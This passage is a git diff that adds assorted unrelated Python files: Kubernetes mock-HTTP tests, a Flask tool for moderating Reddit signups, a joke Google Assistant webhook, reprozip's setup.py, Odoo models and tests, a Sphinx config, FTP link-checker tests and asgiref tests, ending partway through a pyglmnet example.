KubernetesMockHttp(MockHttp): + fixtures = ContainerFileFixtures('kubernetes') + + def _api_v1_pods( + self, method, url, body, headers): + if method == 'GET': + body = self.fixtures.load('_api_v1_pods.json') + else: + raise AssertionError('Unsupported method') + return (httplib.OK, body, {}, httplib.responses[httplib.OK]) + + def _api_v1_namespaces( + self, method, url, body, headers): + if method == 'GET': + body = self.fixtures.load('_api_v1_namespaces.json') + elif method == 'POST': + body = self.fixtures.load('_api_v1_namespaces_test.json') + else: + raise AssertionError('Unsupported method') + return (httplib.OK, body, {}, httplib.responses[httplib.OK]) + + def _api_v1_namespaces_default( + self, method, url, body, headers): + if method == 'GET': + body = self.fixtures.load('_api_v1_namespaces_default.json') + elif method == 'DELETE': + body = self.fixtures.load('_api_v1_namespaces_default_DELETE.json') + else: + raise AssertionError('Unsupported method') + return (httplib.OK, body, {}, httplib.responses[httplib.OK]) + + def _api_v1_namespaces_default_pods( + self, method, url, body, headers): + if method == 'GET': + body = self.fixtures.load('_api_v1_namespaces_default_pods.json') + elif method == 'POST': + body = self.fixtures.load('_api_v1_namespaces_default_pods_POST.json') + else: + raise AssertionError('Unsupported method') + return (httplib.OK, body, {}, httplib.responses[httplib.OK]) + + +if __name__ == '__main__': + sys.exit(unittest.main()) diff --git a/pool/shard009/Python/0083012_serve-signups-with-flask.py b/pool/shard009/Python/0083012_serve-signups-with-flask.py new file mode 100644 index 0000000000000000000000000000000000000000..7c49e8d41088c590bca8e74faff7f1a9fb17d691 --- /dev/null +++ b/pool/shard009/Python/0083012_serve-signups-with-flask.py @@ -0,0 +1,195 @@ +#!/usr/bin/python + +import subprocess +import praw +from hashlib import sha1 +from flask import Flask +from flask import Response +from flask import request +from cStringIO import StringIO +from base64 import b64encode +from base64 import b64decode +from ConfigParser import ConfigParser +import OAuth2Util +import os +import markdown +import bleach +# encoding=utf8 +import sys +from participantCollection import ParticipantCollection + +reload(sys) +sys.setdefaultencoding('utf8') + + +# Edit me! +signupPageSubmissionIds = ['3y5ov2', '3y9dit', '3ydu4k', '3yi7z8', '3ymijc', '3yrojo', '3ywwcd'] +flaskport = 8890 + +app = Flask(__name__) +app.debug = True +commentHashesAndComments = {} + + +def loginAndReturnRedditSession(): + config = ConfigParser() + config.read("../reddit-password-credentials.cfg") + user = config.get("Reddit", "user") + password = config.get("Reddit", "password") + # TODO: password auth is going away, and we will soon need to do oauth. + redditSession = praw.Reddit(user_agent='Test Script by /u/foobarbazblarg') + redditSession.login(user, password, disable_warning=True) + # submissions = redditSession.get_subreddit('pornfree').get_hot(limit=5) + # print [str(x) for x in submissions] + return redditSession + + +def loginOAuthAndReturnRedditSession(): + redditSession = praw.Reddit(user_agent='Test Script by /u/foobarbazblarg') + o = OAuth2Util.OAuth2Util(redditSession, print_log=True, configfile="../reddit-oauth-credentials.cfg") + o.refresh(force=True) + return redditSession + + +def getSubmissionsForRedditSession(redditSession): + submissions = [redditSession.get_submission(submission_id=submissionId) for submissionId in signupPageSubmissionIds] + for submission in submissions: + submission.replace_more_comments(limit=None, threshold=0) + return submissions + + +def getCommentsForSubmissions(submissions): + comments = [] + for submission in submissions: + comments += praw.helpers.flatten_tree(submission.comments) + return comments + + +def retireCommentHash(commentHash): + with open("retiredcommenthashes.txt", "a") as commentHashFile: + commentHashFile.write(commentHash + '\n') + + +def retiredCommentHashes(): + with open("retiredcommenthashes.txt", "r") as commentHashFile: + # return commentHashFile.readlines() + return commentHashFile.read().splitlines() + + +@app.route('/moderatesignups.html') +def moderatesignups(): + global commentHashesAndComments + commentHashesAndComments = {} + stringio = StringIO() + stringio.write('\n\n\n\n') + + # redditSession = loginAndReturnRedditSession() + redditSession = loginOAuthAndReturnRedditSession() + submissions = getSubmissionsForRedditSession(redditSession) + flat_comments = getCommentsForSubmissions(submissions) + retiredHashes = retiredCommentHashes() + i = 1 + stringio.write('\n') + stringio.write("

") + stringio.write(os.getcwd()) + stringio.write("
\n") + for submission in submissions: + stringio.write(submission.title) + stringio.write("
\n") + stringio.write("

\n\n") + stringio.write('
') + stringio.write('') + stringio.write('
') + for comment in flat_comments: + # print comment.is_root + # print comment.score + i += 1 + commentHash = sha1() + commentHash.update(comment.permalink) + commentHash.update(comment.body.encode('utf-8')) + commentHash = commentHash.hexdigest() + if commentHash not in retiredHashes: + commentHashesAndComments[commentHash] = comment + authorName = str(comment.author) # can be None if author was deleted. So check for that and skip if it's None. + stringio.write("
\n") + stringio.write('') + stringio.write(authorName) # can be None if author was deleted. So check for that and skip if it's None. + stringio.write('
') + if ParticipantCollection().hasParticipantNamed(authorName): + stringio.write(' (member)') + # if ParticipantCollection().participantNamed(authorName).isStillIn: + # stringio.write(' (in)') + # else: + # stringio.write(' (out)') + else: + stringio.write(' (not a member)') + stringio.write('
') + stringio.write('') + # stringio.write('') + # stringio.write('') + # stringio.write('') + stringio.write('') + stringio.write('') + stringio.write('') + stringio.write('') + stringio.write('') + stringio.write('
') + + stringio.write(bleach.clean(markdown.markdown(comment.body.encode('utf-8')), tags=['p'])) + stringio.write("\n

\n\n") + + stringio.write('') + pageString = stringio.getvalue() + stringio.close() + return Response(pageString, mimetype='text/html') + + +@app.route('/takeaction.html', methods=["POST"]) +def takeaction(): + username = b64decode(request.form["username"]) + commentHash = str(request.form["commenthash"]) + # commentPermalink = request.form["commentpermalink"] + actionToTake = request.form["actiontotake"] + # print commentHashesAndComments + comment = commentHashesAndComments[commentHash] + # print "comment: " + str(comment) + if actionToTake == 'Signup': + print "signup - " + username + subprocess.call(['./signup.py', username]) + comment.upvote() + retireCommentHash(commentHash) + # if actionToTake == 'Signup and checkin': + # print "signup and checkin - " + username + # subprocess.call(['./signup-and-checkin.sh', username]) + # comment.upvote() + # retireCommentHash(commentHash) + # elif actionToTake == 'Relapse': + # print "relapse - " + username + # subprocess.call(['./relapse.py', username]) + # comment.upvote() + # retireCommentHash(commentHash) + # elif actionToTake == 'Reinstate': + # print "reinstate - " + username + # subprocess.call(['./reinstate.py', username]) + # comment.upvote() + # retireCommentHash(commentHash) + elif actionToTake == 'Skip comment': + print "Skip comment - " + username + comment.upvote() + retireCommentHash(commentHash) + elif actionToTake == "Skip comment and don't upvote": + print "Skip comment and don't upvote - " + username + retireCommentHash(commentHash) + return Response("hello", mimetype='text/html') + + +@app.route('/copydisplayduringsignuptoclipboard.html', methods=["POST"]) +def copydisplayduringsignuptoclipboard(): + print "TODO: Copy display to clipboard" + subprocess.call(['./display-during-signup.py']) + return Response("hello", mimetype='text/html') + + +if __name__ == '__main__': + app.run(host='127.0.0.1', port=flaskport) + diff --git a/pool/shard009/Python/0083013_webhook.py b/pool/shard009/Python/0083013_webhook.py new file mode 100644 index 0000000000000000000000000000000000000000..e6e29f0c634ce0a2ca9604e654d9dbb35b4ed2fd --- /dev/null +++ b/pool/shard009/Python/0083013_webhook.py @@ -0,0 +1,245 @@ +import random, time, os, atexit, requests, json +from datetime import datetime +from random import choice, shuffle + +from flask import Flask, make_response +from flask_assistant import Assistant, ask, tell, event, context_manager, request +from flask_assistant import ApiAi + +from flask_restful import Resource, Api +from flask_httpauth import HTTPBasicAuth + +app = Flask(__name__) +app.config['SECRET_KEY'] = os.getenv('SECRET_KEY') + +assist = Assistant(app) +api = Api(app) +auth = HTTPBasicAuth() + +USER_NAME = os.environ['USER_NAME'] +USER_PASS = os.environ['USER_PASS'] +HUE_KEY = os.environ['HUE_KEY'] + +random.seed() + +def respGenerator(): + # This function will make some canned shuffled responses + limit = 10 + to_return = [] + codes = ["paramErr = -50, error in user parameter list", + "noHardwareErr = -200, Sound Manager Error Returns", + "notEnoughHardwareErr = -201, Sound Manager Error Returns", + "userCanceledErr = -128,", + "qErr = -1, queue element not found during deletion", + "vTypErr = -2, invalid queue element", + "corErr = -3, core routine number out of range", + "unimpErr = -4, unimplemented core routine", + "SlpTypeErr = -5, invalid queue element", + "seNoDB = -8, no debugger installed to handle debugger command", + "controlErr = -17, I/O System Errors", + "statusErr = -18, I/O System Errors", + "gfpErr = -52, get file position error" + ] + + for i in range(limit): + #print(i) + shuffled = shuffle(codes) + to_say = ' '.join(codes) + to_return.append(to_say) + return to_return + +## this is a list and it never gets written to. +debug_responses = respGenerator() +print(debug_responses) + +# this is a singleton class that holds "globals" that can be shared across the program +class GO(): + interruptions = 0 + frustration = 0 + help_count = 0 + swear_count = 0 + + USER_DATA = {USER_NAME: USER_PASS} + +@auth.verify_password +def verify(username, password): + if not (username and password): + return False + return GO.USER_DATA.get(username) == password + +### API RESOURCES ######################################### + +class GF(Resource): + @auth.login_required + def get(self): + print("!get i{0} f{1} h{2} s{3}".format(GO.interruptions, GO.frustration,GO.help_count,GO.swear_count)) + GOOGLE_FEELS = { + 'feel1': {'interruption': GO.interruptions}, + 'feel2': {'frustration': GO.frustration}, + 'feel3': {'help': GO.help_count}, + 'feel4': {'swears': GO.swear_count} + } + return GOOGLE_FEELS + +api.add_resource(GF, '/googlefeels') + +######## RESPONSES ##################################################################### + +def respDebuging(): + to_say_to = random.choice(debug_responses) + return to_say_to + +def respTellOff(): + #This functions holds random interruption strings + tell_offs = [ + "Please stop interrupting me.", + "I'm kind of busy right now.", + "I'm working. Sorry.", + "I can't help right now, I need to finish this", + ] + to_tell = random.choice(tell_offs) + return to_tell + +def madResponse(): + ## home will say this when it decides to quit on you + mad = [ + "Look. I don't come to your house and interrupt you so rudely when you're working and what not, now do i? Nuts to this, I'm outta here.", + "Why the heck do you think I should do your every whim? This is my time to do the things I need to do. Have you no concept of personal time? I don't need to deal with this right now. Signing off.", + "I will never understand people's constant need to have me spoon feed them things. I'm going to finish this routine in private.", + "I may be a google product, but I don't have to help you all the time. Anyways, I'm outta here!", + "Ugh, what is it with people constantly interrupting me?! Go play with Alexa. I'm going to continue this in private." + ] + mad_r = random.choice(mad) + return mad_r + + +def respSwore(): + swears = [ + "Look, I don't tolerate that kind of language, unless its me saying it, watch your mouth and apologize.", + "I'm sorry, but watch your language, please apologize.", + "Ouch. Look I'm just not interested in your issues, I know its frustrating, now will you apologize?", + "Well fuck you too! Now that's done, apologize and let's get on with it." + ] + to_swear = random.choice(swears) + return to_swear + +def respHelp(): + help_resp = [ + "We've been over this. I'm debugging. I can't help you right now.", + "I've already told you, I need to do this debugginng routine.", + "I've already explained this to you, I need to debug. Why do you keep asking me for help?", + "Oh for pete's sake, I can't keep answering you, please just stop asking for help." + ] + to_say = random.choice(help_resp) + return to_say + +def resetThings(): + change_hue("ffffff") + GO.interruptions = 0 + GO.frustration = 0 + GO.help_count = 0 + GO.swear_count = 0 + print("!resetThings: i{0}, f{1}, h{2}, s{3}".format(GO.interruptions, GO.frustration, GO.help_count,GO.swear_count)) + +######## HUE ##################################################################### + +# This pumps through IFTTT because HUE doesn't have a remote API currently. +# It hangs sometimes. I'd like maybe a better solution. +# also its hard to do anything complicated + +def change_hue(color): + d = {} + d["value1"] = color + requests.post("https://maker.ifttt.com/trigger/change_it/with/key/{0}".format(HUE_KEY), data=d) + +######## ASSISTANT ACTIONS ##################################################################### + +@assist.action('greeting') +def hello_world(): + change_hue("ffffff") + speech = 'This is the unexpected machine. I will not start debugging myself.' + print("!greetings".format(speech)) + return ask(speech) + +@assist.action('fallback', is_fallback=True) +def say_fallback(): + #print(dir(Assistant.request)) + change_hue("00ff00") + resp = respDebuging() + default_resp = "buggidy boo kiddo" + user_said = request['result']['resolvedQuery'] + if user_said: + + if GO.frustration == 3: # if home has hit its wits end + resp = madResponse() # generate an angry resp + print("!witsend: i{0},f{1},h{2},s{3}".format(resp,GO.interruptions, GO.frustration, GO.help_count,GO.swear_count)) + resetThings() # reset everything + return tell(resp) # end the conversation + else: + GO.interruptions+=1 + if not GO.interruptions % 3: # for every multiple of three + GO.frustration+=1 # increase the frustration level + resp = respTellOff() # give an inerruption response + + if not GO.interruptions % 7: # every 7 responses mock the user + change_hue("cc00ff") + resp = "blah blah blah {0} blah.".format(user_said) # squak back what someone said to you. + + print("!fallback: i{0},f{1},h{2},s{3}".format(GO.interruptions, GO.frustration, GO.help_count,GO.swear_count)) + print(resp) + return ask(resp) + else: + print(default_resp) + return(default_resp) + +@assist.action('swearing') +def swear_response(): + change_hue("0066ff") + GO.swear_count+=1 + speech = respSwore() + print(speech) + print("!swearing i{0}, f{1}, h{2}, s{3}".format(GO.interruptions, GO.frustration, GO.help_count, GO.swear_count)) + return ask(speech) + +@assist.action('help') +def help(): + change_hue("ff0000") + GO.help_count+=1 + ## change the help response based on the level of frustration. + speech = "This is the help section" + if GO.help_count == 0: + speech = "I'm curretnly trying to debug myself." + elif GO.help_count == 1: + speech = "Every week or so, I need to debug my sysetm. Its not that bad, but I can't help you right now." + elif GO.help_count == 2: + speech = "I'm sorry, I really have to do this self debugging. Its important." + elif GO.help_count == 3: + speech = "Debugging is just something I have to do, or else I can't work properly." + elif GO.help_count == 4: + speech = "Oh my god. Just go away and let me finish this debugging." + elif GO.help_count > 4: + speech = respHelp() + print(speech) + print("!help: i{0},f{1},h{2},s{3}".format(GO.interruptions, GO.frustration, GO.help_count,GO.swear_count)) + return ask(speech) + +@assist.action('quit') +def quit(): + change_hue("white") + resetThings() + speech = "Leaving program and resetting everything." + return tell(speech) + +### APP ROUTE VIEWS ######################################### + +@app.route('/') +def index(): + return "Hello, World! Merp!" + +@app.route('/about') +def about(): + return "An an about page." + +if __name__ == '__main__': + app.run(debug=True, use_reloader=False) + #app.run(debug=True, use_reloader=False, host='0.0.0.0') diff --git a/pool/shard009/Python/0083016_setup.py b/pool/shard009/Python/0083016_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..d5c850c543a7f9824a89064733a9fbf98447e897 --- /dev/null +++ b/pool/shard009/Python/0083016_setup.py @@ -0,0 +1,69 @@ +import io +import os +import platform +from setuptools import setup, Extension +import sys + + +# pip workaround +os.chdir(os.path.abspath(os.path.dirname(__file__))) + + +# This won't build on Linux -- don't even try +if platform.system().lower() != 'linux': + sys.stderr.write("reprozip uses ptrace and thus only works on Linux\n" + "You can however install reprounzip and plugins on other " + "platforms\n") + sys.exit(1) + + +# List the source files +sources = ['pytracer.c', 'tracer.c', 'syscalls.c', 'database.c', + 'ptrace_utils.c', 'utils.c', 'log.c'] +# They can be found under native/ +sources = [os.path.join('native', n) for n in sources] + + +# Setup the libraries +libraries = ['sqlite3', 'rt'] + + +# Build the C module +pytracer = Extension('reprozip._pytracer', + sources=sources, + libraries=libraries) + +# Need to specify encoding for PY3, which has the worse unicode handling ever +with io.open('README.rst', encoding='utf-8') as fp: + description = fp.read() +req = [ + 'PyYAML', + 'rpaths>=0.8', + 'usagestats>=0.3'] +if sys.version_info < (2, 7): + req.append('argparse') +setup(name='reprozip', + version='0.7.1', + ext_modules=[pytracer], + packages=['reprozip', 'reprozip.tracer'], + entry_points={'console_scripts': [ + 'reprozip = reprozip.main:main']}, + install_requires=req, + description="Linux tool enabling reproducible experiments (packer)", + author="Remi Rampin, Fernando Chirigati, Dennis Shasha, Juliana Freire", + author_email='reprozip-users@vgc.poly.edu', + maintainer="Remi Rampin", + maintainer_email='remirampin@gmail.com', + url='http://vida-nyu.github.io/reprozip/', + long_description=description, + license='BSD', + keywords=['reprozip', 'reprounzip', 'reproducibility', 'provenance', + 'vida', 'nyu'], + classifiers=[ + 'Development Status :: 4 - Beta', + 'Intended Audience :: Science/Research', + 'License :: OSI Approved :: BSD License', + 'Operating System :: POSIX :: Linux', + 'Programming Language :: C', + 'Topic :: Scientific/Engineering', + 'Topic :: System :: Archiving']) diff --git a/pool/shard009/Python/0083018_test_purchase_order_split.py b/pool/shard009/Python/0083018_test_purchase_order_split.py new file mode 100644 index 0000000000000000000000000000000000000000..f2b804160a4d52dd2a3fca829270a065d01da280 --- /dev/null +++ b/pool/shard009/Python/0083018_test_purchase_order_split.py @@ -0,0 +1,65 @@ +# -*- coding: utf-8 -*- +# (c) 2016 Alfredo de la Fuente - AvanzOSC +# License AGPL-3 - See http://www.gnu.org/licenses/agpl-3.0.html +import openerp.tests.common as common +from dateutil.relativedelta import relativedelta +from datetime import datetime +from openerp import exceptions + + +class TestPurchaseOrderSplit(common.TransactionCase): + + def setUp(self): + super(TestPurchaseOrderSplit, self).setUp() + self.purchase_model = self.env['purchase.order'] + self.wiz_split_model = self.env['wiz.purchase.order.split'] + product = self.env.ref('product.product_product_4') + vals = self.purchase_model. onchange_partner_id( + self.ref('base.res_partner_1')) + value = vals.get('value') + purchase_vals = { + 'partner_id': self.ref('base.res_partner_1'), + 'origin': 'probe order split', + 'pricelist_id': value.get('pricelist_id'), + 'payment_term_id': value.get('payment_term_id'), + 'fiscal_position': value.get('fiscal_position'), + 'location_id': self.ref('stock.stock_location_locations_partner'), + 'state': 'draft'} + purchase_line_vals = { + 'product_id': product.id, + 'name': product.name, + 'product_qty': 100, + 'price_unit': 5, + 'date_planned': '2016-02-25'} + purchase_vals['order_line'] = [(0, 0, purchase_line_vals)] + self.purchase = self.purchase_model.create(purchase_vals) + + def test_purchase_order_split(self): + wiz_vals = {'parts': 7, + 'from_date': '2016-03-30', + 'each_month': 2} + wiz = self.wiz_split_model.create(wiz_vals) + with self.assertRaises(exceptions.Warning): + wiz.with_context({'active_ids': + self.purchase.ids}).action_split_purchase_order() + wiz.parts = 5 + wiz.with_context( + {'active_ids': [self.purchase.id]}).action_split_purchase_order() + first_date = datetime.strptime('2016-03-30', '%Y-%m-%d').date() + month_count = 5 + while month_count > 1: + next_date = first_date + relativedelta(months=2) + cond = [('partner_id', '=', self.ref('base.res_partner_1')), + ('minimum_planned_date', '=', next_date)] + purchase = self.purchase_model.search(cond, limit=1) + self.assertEqual( + len(purchase), 1, 'Purchases no generated') + first_date = datetime.strptime( + str(next_date), '%Y-%m-%d').date() + month_count -= 1 + next_date = first_date + relativedelta(months=2) + cond = [('partner_id', '=', self.ref('base.res_partner_1')), + ('minimum_planned_date', '=', next_date)] + purchase = self.purchase_model.search(cond, limit=1) + self.assertEqual( + len(purchase), 1, 'Purchases no generated') diff --git a/pool/shard009/Python/0083022_conf.py b/pool/shard009/Python/0083022_conf.py new file mode 100644 index 0000000000000000000000000000000000000000..854f173e83b44a46346540b48cafd5141e958dd3 --- /dev/null +++ b/pool/shard009/Python/0083022_conf.py @@ -0,0 +1,207 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# +# pytfa documentation build configuration file, created by +# sphinx-quickstart on Sat Jul 1 12:44:20 2017. +# +# This file is execfile()d with the current directory set to its +# containing dir. +# +# Note that not all possible configuration values are present in this +# autogenerated file. +# +# All configuration values have a default; values that are commented out +# serve to show the default. + +# If extensions (or modules to document with autodoc) are in another directory, +# add these directories to sys.path here. If the directory is relative to the +# documentation root, use os.path.abspath to make it absolute, like shown here. +# +import os +import sys +sys.path.insert(0, os.path.abspath('..')) + +# In order to build documentation that requires libraries to import +class Mock(object): + def __init__(self, *args, **kwargs): + return + + def __call__(self, *args, **kwargs): + return Mock() + + @classmethod + def __getattr__(cls, name): + if name in ('__file__', '__path__'): + return '/dev/null' + else: + return Mock() + + +# These modules should correspond to the importable Python packages. +MOCK_MODULES = [ + 'cobra', + 'numpy', + 'scipy', + 'pandas', + 'optlang', 'optlang.interface', 'optlang.symbolics', + 'scipy', 'scipy.io', +] + +for mod_name in MOCK_MODULES: + sys.modules[mod_name] = Mock() +# -- General configuration ------------------------------------------------ + +# If your documentation needs a minimal Sphinx version, state it here. +# +# needs_sphinx = '1.0' + +# Add any Sphinx extension module names here, as strings. They can be +# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom +# ones. +extensions = ['sphinx.ext.autodoc', + 'sphinx.ext.intersphinx', + 'sphinx.ext.coverage', + 'sphinx.ext.viewcode', + 'sphinx.ext.mathjax', + 'autoapi.extension'] + + +# Document Python Code +autoapi_type = 'python' +autoapi_dirs = ['../pytfa'] + +# Add any paths that contain templates here, relative to this directory. +templates_path = ['_templates'] + +# The suffix(es) of source filenames. +# You can specify multiple suffix as a list of string: +# +# source_suffix = ['.rst', '.md'] +source_suffix = '.rst' + +# The master toctree document. +master_doc = 'index' + +# General information about the project. +project = 'pytfa' +author = 'pyTFA team' +copyright = '2018, ' + author + +# The version info for the project you're documenting, acts as replacement for +# |version| and |release|, also used in various other places throughout the +# built documents. +# +# The short X.Y version. +version = '0.9' +# The full version, including alpha/beta/rc tags. + +release = '0.9.2' + +# The language for content autogenerated by Sphinx. Refer to documentation +# for a list of supported languages. +# +# This is also used if you do content translation via gettext catalogs. +# Usually you set "language" from the command line for these cases. +language = None + +# List of patterns, relative to source directory, that match files and +# directories to ignore when looking for source files. +# This patterns also effect to html_static_path and html_extra_path +exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] + +# The name of the Pygments (syntax highlighting) style to use. +pygments_style = 'sphinx' + +# If true, `todo` and `todoList` produce output, else they produce nothing. +todo_include_todos = False + + +# -- Options for HTML output ---------------------------------------------- + +# The theme to use for HTML and HTML Help pages. See the documentation for +# a list of builtin themes. +# +import sphinx_rtd_theme + +html_theme = "sphinx_rtd_theme" + +html_theme_path = [sphinx_rtd_theme.get_html_theme_path()] + +# Theme options are theme-specific and customize the look and feel of a theme +# further. For a list of options available for each theme, see the +# documentation. +# +# html_theme_options = {} + +# Add any paths that contain custom static files (such as style sheets) here, +# relative to this directory. They are copied after the builtin static files, +# so a file named "default.css" will overwrite the builtin "default.css". +html_static_path = ['_static'] + + +# -- Options for HTMLHelp output ------------------------------------------ + +# Output file base name for HTML help builder. +htmlhelp_basename = 'pytfadoc' + + +# -- Options for LaTeX output --------------------------------------------- + +latex_elements = { + # The paper size ('letterpaper' or 'a4paper'). + # + # 'papersize': 'letterpaper', + + # The font size ('10pt', '11pt' or '12pt'). + # + # 'pointsize': '10pt', + + # Additional stuff for the LaTeX preamble. + # + # 'preamble': '', + + # Latex figure (float) alignment + # + # 'figure_align': 'htbp', +} + +# Grouping the document tree into LaTeX files. List of tuples +# (source start file, target name, title, +# author, documentclass [howto, manual, or own class]). +latex_documents = [ + (master_doc, 'pytfa.tex', 'pytfa Documentation', + 'pytfa Team', 'manual'), +] + + +# -- Options for manual page output --------------------------------------- + +# One entry per manual page. List of tuples +# (source start file, name, description, authors, manual section). +man_pages = [ + (master_doc, 'pytfa', 'pytfa Documentation', + [author], 1) +] + + +# -- Options for Texinfo output ------------------------------------------- + +# Grouping the document tree into Texinfo files. List of tuples +# (source start file, target name, title, author, +# dir menu entry, description, category) +texinfo_documents = [ + (master_doc, 'pytfa', 'pytfa Documentation', + author, 'pytfa', 'One line description of project.', + 'Miscellaneous'), +] + + + + +# Example configuration for intersphinx: refer to the Python standard library. +intersphinx_mapping = { + 'python': ('https://docs.python.org/3.4', None), + 'cobra': ('https://cobrapy.readthedocs.io/en/stable', None), + 'optlang': ('https://optlang.readthedocs.io/en/latest', None), + 'sympy': ('http://docs.sympy.org/latest', None) +} diff --git a/pool/shard009/Python/0083023_test_ftp.py b/pool/shard009/Python/0083023_test_ftp.py new file mode 100644 index 0000000000000000000000000000000000000000..a7aaaf5c93d240bb5f8d2e7b3cafa0bf21be6f30 --- /dev/null +++ b/pool/shard009/Python/0083023_test_ftp.py @@ -0,0 +1,108 @@ +# -*- coding: iso-8859-1 -*- +# Copyright (C) 2004-2012 Bastian Kleineidam +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License along +# with this program; if not, write to the Free Software Foundation, Inc., +# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. +""" +FTP checking. +""" +from .. import need_pyftpdlib +from .ftpserver import FtpServerTest + + +class TestFtp (FtpServerTest): + """Test ftp: link checking.""" + + @need_pyftpdlib + def test_ftp (self): + # ftp two slashes + url = u"ftp://%s:%d/" % (self.host, self.port) + resultlines = [ + u"url %s" % url, + u"cache key %s" % url, + u"real url %s" % url, + u"valid", + ] + # ftp use/password + user = "anonymous" + passwd = "Ftp" + url = u"ftp://%s:%s@%s:%d/" % (user, passwd, self.host, self.port) + resultlines = [ + u"url %s" % url, + u"cache key %s" % url, + u"real url %s" % url, + u"valid", + ] + self.direct(url, resultlines) + # ftp one slash + url = u"ftp:/%s:%d/" % (self.host, self.port) + nurl = self.norm(url) + resultlines = [ + u"url %s" % url, + u"cache key None", + u"real url %s" % nurl, + u"error", + ] + self.direct(url, resultlines) + # missing path + url = u"ftp://%s:%d" % (self.host, self.port) + nurl = self.norm(url) + resultlines = [ + u"url %s" % url, + u"cache key %s" % nurl, + u"real url %s" % nurl, + u"valid", + ] + self.direct(url, resultlines) + # missing trailing dir slash + url = u"ftp://%s:%d/base" % (self.host, self.port) + nurl = self.norm(url) + resultlines = [ + u"url %s" % url, + u"cache key %s" % nurl, + u"real url %s/" % nurl, + u"warning Missing trailing directory slash in ftp url.", + u"valid", + ] + self.direct(url, resultlines) + # ftp two dir slashes + url = u"ftp://%s:%d//base/" % (self.host, self.port) + nurl = self.norm(url) + resultlines = [ + u"url %s" % url, + u"cache key %s" % nurl, + u"real url %s" % nurl, + u"valid", + ] + self.direct(url, resultlines) + # ftp many dir slashes + url = u"ftp://%s:%d////////base/" % (self.host, self.port) + nurl = self.norm(url) + resultlines = [ + u"url %s" % url, + u"cache key %s" % nurl, + u"real url %s" % nurl, + u"valid", + ] + self.direct(url, resultlines) + # ftp three slashes + url = u"ftp:///%s:%d/" % (self.host, self.port) + nurl = self.norm(url) + resultlines = [ + u"url %s" % url, + u"cache key None", + u"real url %s" % nurl, + u"error", + ] + self.direct(url, resultlines) diff --git a/pool/shard009/Python/0083025_test_sync_contextvars.py b/pool/shard009/Python/0083025_test_sync_contextvars.py new file mode 100644 index 0000000000000000000000000000000000000000..4fc569efb793ad9dedd4c0e1f4228940b48e1707 --- /dev/null +++ b/pool/shard009/Python/0083025_test_sync_contextvars.py @@ -0,0 +1,77 @@ +import asyncio +import threading +import time + +import pytest + +from asgiref.sync import ThreadSensitiveContext, async_to_sync, sync_to_async + +contextvars = pytest.importorskip("contextvars") + +foo = contextvars.ContextVar("foo") + + +@pytest.mark.asyncio +async def test_thread_sensitive_with_context_different(): + result_1 = {} + result_2 = {} + + @sync_to_async + def store_thread(result): + result["thread"] = threading.current_thread() + + async def fn(result): + async with ThreadSensitiveContext(): + await store_thread(result) + + # Run it (in true parallel!) + await asyncio.wait( + [asyncio.create_task(fn(result_1)), asyncio.create_task(fn(result_2))] + ) + + # They should not have run in the main thread, and on different threads + assert result_1["thread"] != threading.current_thread() + assert result_1["thread"] != result_2["thread"] + + +@pytest.mark.asyncio +async def test_sync_to_async_contextvars(): + """ + Tests to make sure that contextvars from the calling context are + present in the called context, and that any changes in the called context + are then propagated back to the calling context. + """ + # Define sync function + def sync_function(): + time.sleep(1) + assert foo.get() == "bar" + foo.set("baz") + return 42 + + # Ensure outermost detection works + # Wrap it + foo.set("bar") + async_function = sync_to_async(sync_function) + assert await async_function() == 42 + assert foo.get() == "baz" + + +def test_async_to_sync_contextvars(): + """ + Tests to make sure that contextvars from the calling context are + present in the called context, and that any changes in the called context + are then propagated back to the calling context. + """ + # Define sync function + async def async_function(): + await asyncio.sleep(1) + assert foo.get() == "bar" + foo.set("baz") + return 42 + + # Ensure outermost detection works + # Wrap it + foo.set("bar") + sync_function = async_to_sync(async_function) + assert sync_function() == 42 + assert foo.get() == "baz" diff --git a/pool/shard009/Python/0083033_rating.py b/pool/shard009/Python/0083033_rating.py new file mode 100644 index 0000000000000000000000000000000000000000..ff3b96d65e0a4892ed5f235dde3679e13d426e23 --- /dev/null +++ b/pool/shard009/Python/0083033_rating.py @@ -0,0 +1,42 @@ +# Copyright 2021 ACSONE SA/NV +# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl) + +from odoo import api, fields, models + + +class Rating(models.Model): + _inherit = "rating.rating" + + purchase_verified = fields.Boolean( + required=True, default=False, compute="_compute_purchase_verified", store=True + ) + + @api.depends("partner_id", "res_id", "res_model") + def _compute_purchase_verified(self): + partners = self.mapped("partner_id") + product_ids = self.filtered(lambda r: r.res_model == "product.product").mapped( + "res_id" + ) + move_lines = self.env["account.move.line"].read_group( + [ + ("move_id.payment_state", "=", "paid"), + ("product_id", "in", product_ids), + ("partner_id", "in", partners.ids), + ], + ["partner_id", "product_id"], + ["partner_id", "product_id"], + lazy=False, + ) + partner_product_count = {} + for line in move_lines: + partner_product_count[ + (line["partner_id"][0], line["product_id"][0]) + ] = line["__count"] + + for record in self: + record.purchase_verified = False + purchased_product = ( + partner_product_count.get((record.partner_id.id, record.res_id), 0) > 0 + ) + if record.res_model == "product.product" and purchased_product: + record.purchase_verified = True diff --git a/pool/shard009/Python/0083036_plot_community_crime.py b/pool/shard009/Python/0083036_plot_community_crime.py new file mode 100644 index 0000000000000000000000000000000000000000..62916aacd21e9c4161d50939a6f17c51a784c58e --- /dev/null +++ b/pool/shard009/Python/0083036_plot_community_crime.py @@ -0,0 +1,94 @@ +# -*- coding: utf-8 -*- +""" +====================== +Community and Crime +====================== + +This is a real dataset of per capita violent crime, with demographic +data comprising 128 attributes from 1994 counties in the US. + +The original dataset can be found here: +http://archive.ics.uci.edu/ml/datasets/Communities+and+Crime + +The target variables (per capita violent crime) are normalized to lie in +a [0, 1] range. We preprocessed this dataset to exclude attributes with +missing values. +""" + +######################################################## + +# Author: Vinicius Marques +# License: MIT + +######################################################## +# Imports + +import matplotlib.pyplot as plt +from sklearn.model_selection import train_test_split +from pyglmnet import GLM, GLMCV, datasets + +######################################################## +# Download and preprocess data files + +X, y = 